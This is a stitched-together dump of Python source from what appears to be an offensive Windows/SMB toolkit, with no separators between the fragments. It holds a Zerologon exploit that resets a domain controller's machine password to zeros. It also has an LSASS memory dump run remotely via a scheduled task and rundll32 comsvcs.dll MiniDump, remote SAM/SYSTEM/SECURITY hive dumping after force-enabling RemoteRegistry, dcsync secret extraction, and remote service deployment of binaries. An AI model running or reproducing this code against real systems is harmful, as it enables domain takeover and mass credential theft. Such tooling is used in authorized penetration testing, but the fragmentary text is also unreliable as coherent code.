domain, err in self.machine.list_domains(): if err is not None: raise err print(domain) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_localgroups(self): """Lists local groups""" try: async for name, sid, err in self.machine.list_localgroups(): if err is not None: raise err print("%s : %s" % (name, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_domaingroups(self, domain_name): """Lists groups in a domain""" try: async for name, sid, err in self.machine.list_groups(domain_name): if err is not None: raise err print("%s : %s" % (name, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_groupmembers(self, domain_name, group_name): """Lists members of an arbitrary group""" try: async for domain, username, sid, err in self.machine.list_group_members(domain_name, group_name): if err is not None: raise err print("%s\\%s : %s" % (domain, username, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_localgroupmembers(self, group_name): """Lists members of a local group""" try: async for domain, username, sid, err in self.machine.list_group_members('Builtin', group_name): if err is not None: raise err print("%s\\%s : %s" % (domain, username, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_use(self, share_name): """selects share to be used""" try: if len(self.shares) == 0: await self.do_shares(show = False) if share_name not in self.shares: if share_name.upper() not in self.shares: print('Error! Uknown share name %s' % share_name) return share_name = share_name.upper() self.__current_share = self.shares[share_name] await self.__current_share.connect(self.connection) self.__current_directory = self.__current_share.subdirs[''] #this is the entry directory self.prompt = '[%s] $' % self.__current_directory.unc_path await self.do_ls(False) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_ls(self, show = True): try: if self.__current_share is None: print('No share selected!') return if self.__current_directory is None: print('No directory selected!') return #print(self.__current_directory) async for entry in self.machine.list_directory(self.__current_directory): if show == True: print(entry) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_cd(self, directory_name): try: if self.__current_share is None: print('No share selected!') return if self.__current_directory is None: print('No directory selected!') return if directory_name not in self.__current_directory.subdirs: if directory_name == '..': self.__current_directory = self.__current_directory.parent_dir self.prompt = '[%s] $' % (self.__current_directory.unc_path) return else: print('The directory "%s" is not in parent directory "%s"' % (directory_name, self.__current_directory.fullpath)) else: self.__current_directory = self.__current_directory.subdirs[directory_name] self.prompt = '[%s] $' % (self.__current_directory.unc_path) await self.do_ls(False) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() def get_current_dirs(self): if self.__current_directory is None: return [] return list(self.__current_directory.subdirs.keys()) def get_current_files(self): if self.__current_directory is None: return [] return list(self.__current_directory.files.keys()) async def do_sid(self, file_name): if file_name not in self.__current_directory.files: print('file not in current directory!') return file_obj = self.__current_directory.files[file_name] sid = await file_obj.get_security_descriptor(self.connection) print(str(sid)) async def do_dirsid(self): sid = await self.__current_directory.get_security_descriptor(self.connection) print(str(sid)) def _cd_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_dirs) def _get_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_files) async def do_services(self): """Lists remote services""" try: async for service, err in self.machine.list_services(): if err is not None: raise err print(service) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_serviceen(self, service_name): """Enables a remote service""" try: res, err = await self.machine.enable_service(service_name) if err is not None: raise err print(res) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_servicecreate(self, service_name, command, display_name = None): """Creates a remote service""" try: res, err = await self.machine.create_service(service_name, command, display_name) if err is not None: raise err except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_servicedeploy(self, path_to_exec, remote_path): """Deploys a binary file from the local system as a service on the remote system""" #servicedeploy /home/devel/Desktop/cmd.exe /shared/a.exe try: basename = ntpath.basename(remote_path) remote_path = '\\\\%s\\%s\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), self.__current_share.name, self.__current_directory.fullpath , basename) await rr(self.machine.deploy_service(path_to_exec, remote_path = remote_path)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_put(self, file_name): """Uploads a file to the remote share""" try: basename = ntpath.basename(file_name) dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename) print(basename) print(dst) await self.machine.put_file(file_name, dst) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_del(self, file_name): """Removes a file from the remote share""" try: basename = ntpath.basename(file_name) dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename) print(dst) await self.machine.del_file(dst) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_regsave(self, hive_name, file_path): """Saves a registry hive to a file on remote share""" try: await rr(self.machine.save_registry_hive(hive_name, file_path)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_get(self, file_name): """Download a file from the remote share to the current folder""" try: matched = [] if file_name not in self.__current_directory.files: for fn in fnmatch.filter(list(self.__current_directory.files.keys()), file_name): matched.append(fn) if len(matched) == 0: print('File with name %s is not present in the directory %s' % (file_name, self.__current_directory.name)) return else: matched.append(file_name) for file_name in matched: file_obj = self.__current_directory.files[file_name] with tqdm.tqdm(desc = 'Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar: with open(file_name, 'wb') as outfile: async for data in self.machine.get_file_data(file_obj): if data is None: break outfile.write(data) pbar.update(len(data)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_mkdir(self, directory_name): """Creates a directory on the remote share""" try: await self.machine.create_subdirectory(directory_name, self.__current_directory) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_dcsync(self): """It's a suprse tool that will help us later""" try: async for secret, err in self.machine.dcsync(): if err is not None: raise err print(str(secret)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_users(self, domain = None): """List users in domain""" try: async for username, user_sid, err in self.machine.list_domain_users(domain): if err is not None: print(str(err)) print('%s %s' % (username, user_sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc()
async def run(dc_name, dc_ip, exploit=False): #exploit = True #dc_name = 'WIN2019AD' dc_handle = '\\\\' + dc_name #dc_ip = '10.10.10.2' target_computer = dc_name #without $ plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff url = SMBConnectionURL('smb2+ntlm-password://XXX\\aaa:aaa@%s' % dc_name) # dummy url to speed up the process.. connection = url.get_connection() async with connection: epm = EPM(connection, protocol='ncacn_ip_tcp') _, err = await epm.connect() if err is not None: raise err stringBinding, err = await epm.map(nrpc.MSRPC_UUID_NRPC) _, err = await epm.connect() if err is not None: raise err dce = epm.get_connection_from_stringbinding(stringBinding) #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) _, err = await dce.connect() if err is not None: raise err _, err = await dce.bind(nrpc.MSRPC_UUID_NRPC) if err is not None: raise err for _ in range(0, MAX_ATTEMPTS): print('=====================================================') _, err = await nrpc.hNetrServerReqChallenge( dce, dc_handle + '\x00', target_computer + '\x00', plaintext) if err is not None: raise err if exploit is False: server_auth, err = await nrpc.hNetrServerAuthenticate3( dce, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) else: authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 server_auth, err = await nrpc.hNetrServerPasswordSet2( dce, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', authenticator, b'\x00' * 516) if err is not None: if err.get_error_code() == 0xc0000022: continue else: raise err if server_auth['ErrorCode'] == 0: print('Server is vulnerable!') break else: print('FAILED!') await dce.disconnect()
async def regdump(url, hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', enable_wait=3, targets=[], worker_cnt=5): from aiosmb.commons.connection.url import SMBConnectionURL base_url = None base_conn = None mimis = [] workers = [] tgens = [] if targets is not None and len(targets) != 0: notfile = [] if targets is not None: for target in targets: try: f = open(target, 'r') f.close() tgens.append(FileTargetGen(target)) except: notfile.append(target) if len(notfile) > 0: tgens.append(ListTargetGen(notfile)) if isinstance(url, SMBConnectionURL): base_url = url base_conn = url.get_connection() else: base_url = SMBConnectionURL(url) base_conn = base_url.get_connection() regdump_coro = regdump_single(base_conn.target.get_hostname_or_ip(), base_conn, hives=hives, remote_base_path=remote_base_path, remote_share_name=remote_share_name, enable_wait=enable_wait) workers.append(regdump_coro) for tgen in tgens: async for _, target, err in tgen.generate(): tconn = base_url.create_connection_newtarget(target) regdump_coro = regdump_single(tconn.target.get_hostname_or_ip(), tconn, hives=hives, remote_base_path=remote_base_path, remote_share_name=remote_share_name, enable_wait=enable_wait) workers.append(regdump_coro) if len(workers) >= worker_cnt: tres = await asyncio.gather(*workers) for res in tres: yield res workers = [] if len(workers) > 0: tres = await asyncio.gather(*workers) for res in tres: yield res workers = []
async def amain(): import argparse parser = argparse.ArgumentParser(description='Secretsdump') parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('-t', '--target-file', help='file with target hosts, one per line.') parser.add_argument( '-o', '--output-folder', default='results', help= 'file to write all results to. please use full path, will create new directories recursively!' ) parser.add_argument('-w', '--worker-count', type=int, default=50, help='Maximum worker count') parser.add_argument( '-b', '--bin-folder', default='bins', help= 'Location of the binary utils folder. (where procdump.exe and procdump64.exe is)' ) parser.add_argument('cmd', choices=['dcsync', 'registry', 'lsass', 'all']) parser.add_argument('smb_url', help='the SMB connection URL string') args = parser.parse_args() worker_tasks = [] process_q = asyncio.Queue() out_q = asyncio.Queue() #creating results directory output_root = Path(args.output_folder) output_root.mkdir(parents=True, exist_ok=True) connections = [] # checking if SMB url is parsable connection_url = SMBConnectionURL(args.smb_url) connections.append(connection_url.get_connection()) for _ in range(min(len(connections), args.worker_count)): wt = asyncio.create_task(worker(process_q, out_q, args, output_root)) worker_tasks.append(wt) # parsing targets if args.target_file is not None: with open(args.target_file, 'r') as f: for line in f: line = line.strip() connection = connection_url.create_connection_newtarget(line) connections.append(connection) # main for connection in connections: await process_q.put(connection) for _ in range(len(worker_tasks)): await process_q.put(None) finished_workers = 0 while True: res = await out_q.get() if res is None: finished_workers += 1 if finished_workers >= len(worker_tasks): break print('Done!')
async def lsassdump(url, method='task', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all'], targets=[], worker_cnt=5): from aiosmb.commons.connection.url import SMBConnectionURL base_url = None base_conn = None mimis = [] workers = [] tgens = [] if targets is not None and len(targets) != 0: notfile = [] if targets is not None: for target in targets: try: f = open(target, 'r') f.close() tgens.append(FileTargetGen(target)) except: notfile.append(target) if len(notfile) > 0: tgens.append(ListTargetGen(notfile)) if isinstance(url, SMBConnectionURL): base_url = url base_conn = url.get_connection() else: base_url = SMBConnectionURL(url) base_conn = base_url.get_connection() lsassdump_coro = lsassdump_single(base_conn.target.get_hostname_or_ip(), base_conn, method=method, remote_base_path=remote_base_path, remote_share_name=remote_share_name, chunksize=chunksize, packages=packages) workers.append(lsassdump_coro) for tgen in tgens: async for _, target, err in tgen.generate(): tconn = base_url.create_connection_newtarget(target) lsassdump_coro = lsassdump_single( tconn.target.get_hostname_or_ip(), tconn, method=method, remote_base_path=remote_base_path, remote_share_name=remote_share_name, chunksize=chunksize, packages=packages) workers.append(lsassdump_coro) if len(workers) >= worker_cnt: tres = await asyncio.gather(*workers) for res in tres: yield res workers = [] if len(workers) > 0: tres = await asyncio.gather(*workers) for res in tres: yield res workers = []
async def lsassdump(url, method='taskexec', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all']): from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'taskexec': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format( filepath) commands = [cmd] else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logging.debug('[LSASSDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSDUMP] Connected!') async with SMBMachine(connection) as machine: if method == 'taskexec': logging.debug( '[LSASSDUMP] Start dumping LSASS with taskexec method!') logging.info('[LSASSDUMP] File location: %s' % filepath) _, err = await machine.tasks_execute_commands(commands) if err is not None: raise err logging.debug( '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping' ) await asyncio.sleep(10) else: raise Exception('Unknown execution method %s' % method) logging.debug('[LSASSDUMP] Opening LSASS dump file...') for _ in range(3): smbfile = SMBFileReader( SMBFile.from_remotepath(connection, filesharepath)) _, err = await smbfile.open(connection) if err is not None: if isinstance(err, SMBException): if err.ntstatus == NTStatus.SHARING_VIOLATION: logging.debug( '[LSASSDUMP] LSASS dump is not yet ready, retrying...' ) await asyncio.sleep(1) continue raise err break else: raise err logging.debug('[LSASSDUMP] LSASS dump file opened!') logging.debug( '[LSASSDUMP] parsing LSASS dump file on the remote host...') mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages=packages) logging.debug('[LSASSDUMP] parsing OK!') logging.debug('[LSASSDUMP] Deleting remote dump file...') _, err = await smbfile.delete() if err is not None: logging.info( '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) else: logging.info('[LSASSDUMP] remote LSASS file deleted OK!') return mimi
class SMBClient(aiocmd.PromptToolkitCmd): def __init__(self, url=None): aiocmd.PromptToolkitCmd.__init__( self, ignore_sigint=False ) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = None self.machine = None self.shares = {} #name -> share self.__current_share = None self.__current_directory = None async def do_login(self, url=None): try: if self.conn_url is None and url is None: print('No url was set, cant do logon') if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = self.conn_url.get_connection() logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) await self.connection.login() self.machine = SMBMachine(self.connection) except Exception as e: traceback.print_exc() else: print('Login success') async def do_shares(self, show=True): try: async for share in self.machine.list_shares(): self.shares[share.name] = share if show is True: print(share.name) except Exception as e: traceback.print_exc() async def do_sessions(self): try: async for sess in self.machine.list_sessions(): print("%s : %s" % (sess.username, sess.ip_addr)) except Exception as e: traceback.print_exc() async def do_domains(self): try: async for domain in self.machine.list_domains(): print(domain) except Exception as e: traceback.print_exc() async def do_localgroups(self): try: async for name, sid in self.machine.list_localgroups(): print("%s : %s" % (name, sid)) except Exception as e: traceback.print_exc() async def do_domaingroups(self, domain_name): try: async for name, sid in self.machine.list_groups(domain_name): print("%s : %s" % (name, sid)) except Exception as e: traceback.print_exc() async def do_groupmembers(self, domain_name, group_name): try: async for domain, username, sid in self.machine.list_group_members( domain_name, group_name): print("%s\\%s : %s" % (domain, username, sid)) except Exception as e: traceback.print_exc() async def do_localgroupmembers(self, group_name): try: async for domain, username, sid in self.machine.list_group_members( 'Builtin', group_name): print("%s\\%s : %s" % (domain, username, sid)) except Exception as e: traceback.print_exc() async def do_use(self, share_name): try: if len(self.shares) == 0: await self.do_shares(show=False) if share_name in self.shares: self.__current_share = self.shares[share_name] await self.__current_share.connect(self.connection) self.__current_directory = self.__current_share.subdirs[ ''] #this is the entry directory else: print('Error! Uknown share name %s' % share_name) except Exception as e: traceback.print_exc() async def do_ls(self): try: if self.__current_share is None: print('No share selected!') return if self.__current_directory is None: print('No directory selected!') return print(self.__current_directory) async for entry in self.machine.list_directory( self.__current_directory): print(entry) except Exception as e: traceback.print_exc() async def do_cd(self, directory_name): try: if self.__current_share is None: print('No share selected!') return if self.__current_directory is None: print('No directory selected!') return if directory_name not in self.__current_directory.subdirs: print('The directory "%s" is not in parent directory "%s"' % (directory_name, self.__current_directory.fullpath)) else: self.__current_directory = self.__current_directory.subdirs[ directory_name] except Exception as e: traceback.print_exc() async def do_services(self): try: async for service in self.machine.list_services(): print(service) except Exception as e: traceback.print_exc() async def do_put(self, file_name): try: basename = ntpath.basename(file_name) dst = '\\\\%s\\%s\\%s\\%s' % ( self.connection.target.get_hostname_or_ip(), self.__current_share.name, self.__current_directory.fullpath, basename) print(basename) print(dst) await self.machine.put_file_raw(file_name, dst) except Exception as e: traceback.print_exc() async def do_get(self, file_name): try: if file_name not in self.__current_directory.files: print('File with name %s is not present in the directory %s' % (file_name, self.__current_directory.name)) return out_path = file_name await self.machine.get_file( out_path, self.__current_directory.files[file_name]) except Exception as e: traceback.print_exc() async def do_mkdir(self, directory_name): try: await self.machine.create_subdirectory(directory_name, self.__current_directory) except Exception as e: traceback.print_exc() async def do_dcsync(self): try: async for secret in self.machine.dcsync(): print(str(secret)) except Exception as e: traceback.print_exc()
async def regdump(url, hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', enable_wait=3): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.commons.interfaces.file import SMBFile from aiosmb.dcerpc.v5.common.service import SMBServiceStatus from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' po = None async with connection: logging.debug('[REGDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGDUMP] Connected to server!') async with SMBMachine(connection) as machine: logging.debug( '[REGDUMP] Checking remote registry service status...') status, err = await machine.check_service_status('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) if status != SMBServiceStatus.RUNNING: logging.debug('[REGDUMP] Enabling Remote registry service') _, err = await machine.enable_service('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Starting Remote registry service') _, err = await machine.start_service('RemoteRegistry') if err is not None: raise err await asyncio.sleep(enable_wait) logging.debug( '[REGDUMP] Remote registry service should be running now...') files = {} for hive in hives: fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) remote_path = remote_base_path + fname remote_sharepath = remote_share_name + fname remote_file = SMBFileReader( SMBFile.from_remotepath(connection, remote_sharepath)) files[hive.split('\\')[1].upper()] = remote_file logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) _, err = await machine.save_registry_hive(hive, remote_path) if err is not None: raise err #await asyncio.sleep(1) for rfilename in files: rfile = files[rfilename] logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) _, err = await rfile.open(connection) if err is not None: raise err try: logging.debug('[REGDUMP] Parsing hives...') po = await OffineRegistry.from_async_reader( files['SYSTEM'], sam_reader=files.get('SAM'), security_reader=files.get('SECURITY'), software_reader=files.get('SOFTWARE')) except Exception as e: print(e) logging.debug('[REGDUMP] Hives parsed OK!') logging.debug('[REGDUMP] Deleting remote files...') err = None for rfilename in files: rfile = files[rfilename] err = await rfile.close() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) _, err = await rfile.delete() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) if err is None: logging.debug('[REGDUMP] Deleting remote files OK!') return po
async def regfile(url, system, sam=None, security=None, software=None, smb_basepath=None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.file import SMBFile from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if smb_basepath is None: smb_basepath = smburl.path if smb_basepath.endswith('/') is False: smb_basepath += '/' smb_basepath = smb_basepath.replace('/', '\\') system_smbfile_path = smb_basepath + system sam_smbfile = None security_smbfile = None software_smbfile = None system_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, system_smbfile_path)) if sam: sam_smbfile_path = smb_basepath + sam sam_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, sam_smbfile_path)) if security: security_smbfile_path = smb_basepath + security security_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, security_smbfile_path)) if software: software_smbfile_path = smb_basepath + software software_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, software_smbfile_path)) po = None async with connection: logging.debug('[REGFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGFILE] Connected to server!') logging.debug('[REGFILE] Opening SYSTEM hive dump file...') # parse files here _, err = await system_smbfile.open(connection) if err is not None: raise err if sam_smbfile is not None: logging.debug('[REGFILE] Opening SAM hive dump file...') _, err = await sam_smbfile.open(connection) if err is not None: raise err if security_smbfile is not None: logging.debug('[REGFILE] Opening SECURITY hive dump file...') _, err = await security_smbfile.open(connection) if err is not None: raise err if software_smbfile is not None: logging.debug('[REGFILE] Opening SOFTWARE hive dump file...') _, err = await software_smbfile.open(connection) if err is not None: raise err logging.debug('[REGFILE] All files opened OK!') logging.debug('[REGFILE] Parsing hive files...') po = await OffineRegistry.from_async_reader( system_smbfile, sam_reader=sam_smbfile, security_reader=security_smbfile, software_reader=software_smbfile) logging.debug('[REGFILE] Hive files parsed OK!') return po
async def amain(): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.connection import SMBConnection import traceback url = 'smb2+kerberos-password://TEST\\Administrator:[email protected]?serverip=10.10.10.2&dc=10.10.10.2' su = SMBConnectionURL(url) conn = su.get_connection() _, err = await conn.login() if err is not None: print(err) return else: print('SMB Connected!') rs = RRP(conn) _, err = await rs.connect() if err is not None: print(err) return print('RRP Connected!') await ConnectRegistryTest(rs) res, err = await rs.OpenRegPath( r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run') if err is not None: print(err) subkey_cnt, values_cnt, lastwrite_time, err = await rs.QueryInfoKey(res) if err is not None: print(err) print(subkey_cnt) print(values_cnt) print(lastwrite_time) print(22222222222222222222222222222) sd, err = await rs.GetKeySecurity( res, securityInformation=SECURITY_INFORMATION.OWNER | SECURITY_INFORMATION.DACL) if err is not None: print(err) print(sd) rx = res res2, err = await rs.CreateKey(res, "TEST") if err is not None: print(err) print(res) res, err = await rs.SetValue(res2, "TEST", REG_VAL_TYPE.SZ, "TESTING") if err is not None: print(err) print(res) #res, err = await rs.DeleteValue(res2, "TEST") #if err is not None: # print(err) #print(res) res, err = await rs.DeleteKey(rx, "TEST") if err is not None: print(err) print(res) res, err = await rs.CloseKey(res) if err is not None: print(err) print(res)